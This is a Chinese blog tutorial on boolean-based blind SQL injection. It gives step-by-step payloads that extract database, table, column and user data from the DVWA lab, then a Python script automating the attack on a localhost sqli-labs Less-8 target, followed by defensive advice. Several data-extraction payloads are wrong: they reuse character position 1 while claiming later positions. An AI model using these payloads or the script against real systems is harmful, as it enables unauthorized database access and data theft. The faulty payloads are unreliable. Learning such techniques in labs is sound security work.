sql注入知识---布尔型盲注


表现:会对你的输出进行显示正确错误,但不会报错

MySQL盲注常用函数

1.length() 返回字符串的长度,例如可以返回数据库名字的长度 
2.substr() ⽤来截取字符串 
3.ascii() 返回字符的ascii码
4.sleep(n) 将程序挂起⼀段时间,n为n秒
5.if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

盲注流程

一、判断是否存在注入,是字符型还是数字型注入

注入点原查询代码:

?id  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
  1. 判断注入(判断注入类型):
注入语句:
1' and 1=1 #
带入查询的语句:
?id  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';"; 
注入语句:
1' and 1=2 #
带入查询的语句:
?id  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 #';";

二、猜解当前数据库名

  1. 猜数据库名长度:
1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 # 
1' and length(database())=4 #

通过返回的正确与否来判断数据库的每个字母

1' and ascii(substr(database(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);
1' and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);
1' and ascii(substr(database(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值)
1' and ascii(substr(database(),1,1))<103 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 103(⼩写字母g的ascii值);
1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值);
1' and ascii(substr(database(),1,1))=100 #,显⽰存在,说明数据库名的第⼀个字符的ascii值等于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。
重复以上步骤直到得出完整的数据库名dvwa
1' and ascii(substr(database(),n,1))>100

注释:
substr(str,start,stop)
substr截取字符串str,从start开始截取,截取stop个字符

三、猜解表名

  1. 猜解表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在

注释:
原理是使用count()这个函数来判断table_name这个表的数量有几个
然后后面有一个where判断来指定是当前数据库
在末尾有一个 =1 ,意思是判断表有1个,正确那么页面返回正常,错误即返回不正常

  1. 猜解表名长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显⽰存在

注释:
select table_name from information_schema.tables where table_schema=database() limit 0,1),1) 这条语句就是substr的str,要截取的字符
limit 0,1 这条语句是 limit 子句来限制查询的数量,具体格式是这样的:
select * from tableName limit i,n
tableName:表名
i:为查询结果的索引值(默认从0开始),当i=0时可省略i
n:为查询结果返回的数量
i与n之间使用英文逗号","隔开
limit n 等同于 limit 0,n
limit 0,1 默认0(i)就是从1开始

  1. 猜解表的名字:
猜解第一个表名的第一个字符长度是否为:g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 返回正常
猜解第一个表名的第二个字符长度是否为:u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # 返回正常
猜解第一个表名的第三个字符长度是否为:e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 # 返回正常
猜解第一个表名的第四个字符长度是否为:s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115 # 返回正常
猜解第一个表名的第五个字符长度是否为:t
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=116 # 返回正常
猜解第一个表名的第六个字符长度是否为:b
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=98 # 返回正常
猜解第一个表名的第七个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=111 # 返回正常
猜解第一个表名的第八个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))=111 # 返回正常
猜解第一个表名的第九个字符长度是否为:k
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))=107 # 返回正常

语法格式是:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit i,1),n,1))>97 #
i 是第几个表
n 是第几个字符长度

四、猜解表中的字段名

  1. 猜解字段的数量:
判断表名users的字段数量是否为8
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #

猜解第⼀个字段的长度(user_id):
猜解第一个字段的长度是否为7:

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #

猜解第二个字段的长度(first_name):

猜解第二个字段的长度是否为101' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))=10 #

猜解第⼀个字段名(user_id):

猜解第一个字段名的第一个字符为:u
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=117 #
猜解第一个字段名的第二个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=115 #
猜解第一个字段名的第三个字符为:e
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),3,1))=101 #
猜解第一个字段名的第四个字符为:r
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),4,1))=114 #
猜解第一个字段名的第五个字符为:_
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),5,1))=95 #
猜解第一个字段名的第六个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),6,1))=105 #
猜解第一个字段名的第七个字符为:d
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),7,1))=100 #

猜解第二个字段名(first_name):

猜解第二个字段名的第一个字符为:f
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=102 #
猜解第二个字段名的第二个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=105 #
猜解第二个字段名的第三个字符为:r
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),3,1))=114 #
猜解第二个字段名的第四个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),4,1))=115 #
猜解第二个字段名的第五个字符为:t
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),5,1))=116 #
猜解第二个字段名的第六个字符为:_
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),6,1))=95 #
猜解第二个字段名的第七个字符为:n
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),7,1))=110 #
猜解第二个字段名的第八个字符为:a
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),8,1))=97 #
猜解第二个字段名的第九个字符为:m
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),9,1))=109 #
猜解第二个字段名的第十个字符为:e
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),10,1))=101 #

如果想查询第n个字段名,那么就使用这个语句:

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit i,1),n,1))=101 #
注释:
i代表查询第几个字段名
n代码查询字段名的第几个字符

五、猜解数据

根据ascii码来猜解数据:
我们就查询 user 这个字段的数据吧!(已知情况下)

猜解 dvwa.users 表下的 user 列的第一个字段内容为:a
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # 
猜解 dvwa.users 表下的 user 列的第二个字段内容为:d
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=100 # 
猜解 dvwa.users 表下的 user 列的第三个字段内容为:m
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=109 # 
猜解 dvwa.users 表下的 user 列的第四个字段内容为:i
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=105 # 
猜解 dvwa.users 表下的 user 列的第五个字段内容为:n
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=110 #
(如果自己写脚本就要遍历全部)

事件的真相:

如果你看到这里那么恭喜你白看了,上面的那些都用不上但是:
请添加图片描述
心安啦各位
当然也不是完全没有用起码这个盲注的基本流程更方便写脚本了
一般的情况下我们面对这种盲注都是写脚本跑(提前准备然后更具具体的情况再改脚本)
请添加图片描述

感谢大家观看,我会与大家共同进步的(qq:622816049)有问题可以提问。群主会帮助大家的。嘻嘻

### SQL 布尔 Less-8 Python 实现 布尔是一种SQL注入技术,其中攻击者通过发送特定构造的查询并观察应用程序响应的变化来推断数据库的内容。对于`Less-8`环境下的布尔实验,可以采用Python脚本来实现自动化爆破过程。 #### 攻击端代码实例 下面是一个用于演示目的的小型Python程序片段,该程序旨在展示如何基于给定条件判断目标网站是否存在潜在的安全漏洞: ```python import requests def check_injection_point(url): test_payload_true = "' AND 1=1 -- " test_payload_false = "' AND 1=0 -- " response_true = requests.get(url, params={'id': test_payload_true}) response_false = requests.get(url, params={'id': test_payload_false}) if "You are in..........." in response_true.text and not ("You are in..........." in response_false.text): print("可能存在注入点") else: print("未发现明显的注入迹象") url = 'http://localhost/sqli-labs/Less-8/?' check_injection_point(url) ``` 这段代码首先定义了一个函数`check_injection_point()`用来检测指定URL处是否有SQL注入的可能性。它分别向服务器提交两个不同逻辑值(`true` 和 `false`)作为参数,并依据返回的结果差异来进行初步判定[^1]。 接着是获取数据库名称的具体操作: ```python def get_db_name(url): db_name = '' for position in range(1, 21): # 数据库名字长度假设不超过20个字符 found_char = False for char_code in range(32, 127): # ASCII可打印字符范围 payload = f"1' AND ASCII(SUBSTRING((SELECT database()),{position},1))={char_code}--" resp = requests.get(url, params={"id": payload}) if "You are in..........." in resp.text: db_name += chr(char_code) print(f"当前已知部分:{db_name}") found_char = True break if not found_char: break return db_name or None print(get_db_name(url)) ``` 上述代码展示了如何逐步猜测出完整的数据库名称。这里采用了ASCII码表中的可见字符集进行遍历匹配,直到无法再找到符合条件的新字符为止[^2]。 --- ### 防护措施建议 为了防止此类攻击的发生,开发人员应当遵循安全编码实践,具体来说包括但不限于以下几个方面: - **使用预编译语句**:始终优先考虑使用带有绑定变量(prepared statements with bound variables)的方式构建SQL命令,这能有效阻止恶意输入被解释成实际的SQL语法。 - **最小权限原则**:确保应用使用的数据库账户只拥有完成其工作所需的最低限度的权利,从而减少一旦发生入侵事件后的损害程度。 - **严格验证用户输入**:对所有来自客户端的数据都应实施严格的格式校验机制,拒绝任何不符合预期模式的信息进入后台处理流程。 - **启用WAF(Web Application Firewall)**:部署专业的Web防火墙产品可以帮助识别和拦截可疑请求,提供额外一层保护屏障。 - **定期审查日志文件**:保持良好的监控习惯有助于及时察觉异常活动趋势,以便采取相应行动加以应对。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kui954

感谢各位的支持o(* ̄3 ̄)o

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值